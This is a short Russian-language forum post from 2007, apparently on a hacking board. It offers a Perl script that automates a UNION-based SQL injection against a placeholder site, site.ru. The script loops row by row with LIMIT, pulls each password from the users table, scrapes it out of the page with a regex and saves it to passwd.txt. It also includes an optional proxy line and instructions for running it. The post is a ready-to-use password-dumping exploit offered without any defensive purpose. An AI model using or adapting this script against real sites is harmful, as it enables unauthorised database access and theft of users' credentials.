| blackybr |
25.10.2007 10:53 |
я так понимаю у него скуль вида -1+union+select+1,1/* и ему надо каждый лимитом вытаскивать
Код:
#!/usr/bin/perl
use strict;
#use warnings;
use LWP::UserAgent;
my $num = $ARGV[0];
my $ua = LWP::UserAgent->new;
$ua->agent("Dendi 8bit");
#$ua->proxy(['http', 'ftp'] => 'http://login:pass@proxy-ip:port');
open(FH,">passwd.txt") or die "$!";
for(1..$num) {
my $req = HTTP::Request->new(GET => "http://site.ru/index.php?id=-1+union+select+1,concat('123:',password)+from+users+limit+$_,1/*");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
$res->content =~/<strong>2<\/strong><br>123(.+?)<\/td>/;
print FH $1,"\n";
}
close FH;
запускаешь с параметром сколько вытаскивать и ждешь, когда скрипт закончит работу, вывод в passwd.txt |
